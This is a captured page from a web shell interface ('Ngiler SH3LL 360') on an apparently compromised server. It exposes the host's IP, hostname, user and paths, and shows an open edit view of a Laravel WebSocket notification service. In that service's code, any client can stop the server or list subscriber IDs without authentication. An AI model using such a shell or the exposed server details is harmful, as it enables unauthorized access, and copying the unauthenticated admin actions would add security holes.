Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
membrubackend
/
app
/
Services
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
WebSocketServerService.php
| Size :
7.97
KB
Copy
<?php namespace App\Services; use App\Exceptions\WebsocketCloseException; use App\Models\NotificationLog; use Exception; use Ratchet\ConnectionInterface; use Ratchet\MessageComponentInterface; use SplObjectStorage; class WebSocketServerService implements MessageComponentInterface { const PING_TEXT = 'alive'; private $clients; private $appSubscribers; /** * WebSocketServerService constructor. */ public function __construct() { $this->clients = new SplObjectStorage(); $appSubscribers = []; $this->appSubscribers = $appSubscribers; dump('WebSocket Started'); } public function onOpen(ConnectionInterface $conn): void { $this->clients->attach($conn); $parameters = []; if (($conn->httpRequest && $headers = $conn->httpRequest->getHeaders()) && isset($headers['Origin'])) { $parameters[] = $headers['Origin']; } dump('New connection! ('.$conn->resourceId.')'); } public function onClose(ConnectionInterface $conn): void { $this->clients->detach($conn); dump('Closed connection! ('.$conn->resourceId.')'); } public function onError(ConnectionInterface $conn, Exception $e): void { dump('ERROR! ('.$conn->resourceId.') Message: '.$e->getMessage()); } public function onMessage(ConnectionInterface $from, $msg): void { if (!$this->clients->offsetExists($from)) { dump('ERROR! ('.$from->resourceId.') Received message from non-existent client! (Message: '.addslashes($msg).')'); return; } $jsonData = json_decode($msg, true); dump($jsonData); if (null === $jsonData) { dump('Message data received is invalid'); return; } if ($this->validateMessage($jsonData)) { $resultString = $this->interpretMessage($from, $jsonData); if (!is_bool($resultString)) { // send back as message $from->send($resultString); } } else { $from->send('error'); } } private function validateMessage(array $jsonData): bool { if (isset($jsonData['user_id'])) { return true; } if (isset($jsonData['notification_log_id'])) { return true; } return false; } private function interpretMessage(ConnectionInterface $from, array $jsonData = null) { if (null === $jsonData) { return false; } if (isset($jsonData['action'])) { return $this->handleActionCommand($from, $jsonData['action']); } if (isset($jsonData['notification_log_id'])) { $this->handleNotificationUpdate($from, $jsonData['notification_log_id'], $jsonData['notification_user_id']); return true; } if (isset($jsonData['user_id'])) { $this->handleAppSubscriber($from, $jsonData['user_id']); return true; } return false; } private function handleNotificationUpdate(ConnectionInterface $from, int $id, $notificationUserId): void { // this is the announcer, send back 1 ok and it will automatically close connection $from->send(1); $notification = NotificationLog::findOrFail($id); if (null === $notification) { dump('ERROR! Notification Log #'.$id.' NOT FOUND!'); return; } if (null === $notification->responsible) { dump('ERROR! Notification Log #'.$id.' has no responsible user!'); return; } $translationType = $notification->for_auth_user ? null : 'public'; $notificationData = [ 'id' => $notification->id, 'name' => $notification->getNotificationName($translationType), 'avatar' => $notification->avatar, 'seen' => $notification->seen, 'objective_slug' => $notification->objective_slug, 'key_result_id' => $notification->key_result_id, 'frontend_type' => $notification->frontend_type, 'need_link' => $notification->need_link, 'created_at' => $notification->created_at, 'for_activity' => $notification->for_all, 'for_personal' => $notification->for_auth_user ]; if (isset($this->appSubscribers[$notificationUserId])) { // send to subscriber $subscriber = $this->appSubscribers[$notificationUserId]; dump('Sending notification log to '.$subscriber->resourceId.' (UserID: '.$notificationUserId.') now'); $subscriber->send(json_encode($notificationData)); } } /** * Interpret action commands that the websocket should take (like stop) * * @param ConnectionInterface $from * * @param string $action * * @return string * * @throws WebsocketCloseException */ public function handleActionCommand(ConnectionInterface $from, string $action): string { $returnString = ''; WebsocketLog::create([ 'action' => 'Command received ('.$from->resourceId.')', 'parameters'=> json_encode([ 'action' => $action, ]), ]); switch ($action) { case 'stop': // stop the websocket service throw new WebsocketCloseException('Stopped by request'); break; case 'ping': $returnString = self::PING_TEXT; break; case 'memory': $returnString = date('Y-m-d H:i:s').PHP_EOL; $returnString .= 'Memory Limit = '.ini_get('memory_limit').PHP_EOL; $returnString .= 'Memory get usage (false) = '.$this->memoryFormatter(memory_get_usage(false)).PHP_EOL; $returnString .= 'Memory get usage (true) = '.$this->memoryFormatter(memory_get_usage(true)).PHP_EOL; $returnString .= 'Memory get REAL usage (false) = '.$this->memoryFormatter(memory_get_peak_usage (false)).PHP_EOL; $returnString .= 'Memory get REAL usage (true) = '.$this->memoryFormatter(memory_get_peak_usage (true)).PHP_EOL; break; case 'list': // list all subscribers $counter = 0; foreach ($this->appSubscribers as $userID => $subscriber) { $returnString .= $subscriber->resourceId; $returnString .= ' (UID #'.$userID.')'; $counter++; } $returnString .= 'Total clients subscribed: '.$counter.PHP_EOL; $returnString .= 'Total clients registered: '.$this->clients->count().PHP_EOL; echo $returnString; break; } return $returnString; } /** * Add the new connection to the appropriate list * * @param ConnectionInterface $conn * @param string $app * @param int $locationID * * @return void */ private function handleAppSubscriber(ConnectionInterface $conn, int $userID): void { $this->appSubscribers[$userID] = $conn; } /** * Format the memory from bytes to different sizes * * @param int $sizeInBytes * * @return string */ private function memoryFormatter(int $sizeInBytes): string { $returnString = ''; $returnString .= $sizeInBytes . ' B'; if ($sizeInBytes > 1024) { $sizeInBytes /= 1024; $returnString .= ', ' . (int)$sizeInBytes . ' KB'; if ($sizeInBytes > 1024) { $sizeInBytes /= 1024; $returnString .= ', ' . (int)$sizeInBytes . ' MB'; } if ($sizeInBytes > 1024) { $sizeInBytes /= 1024; $returnString .= ', ' . (int)$sizeInBytes . ' GB'; } } return $returnString; } }
Back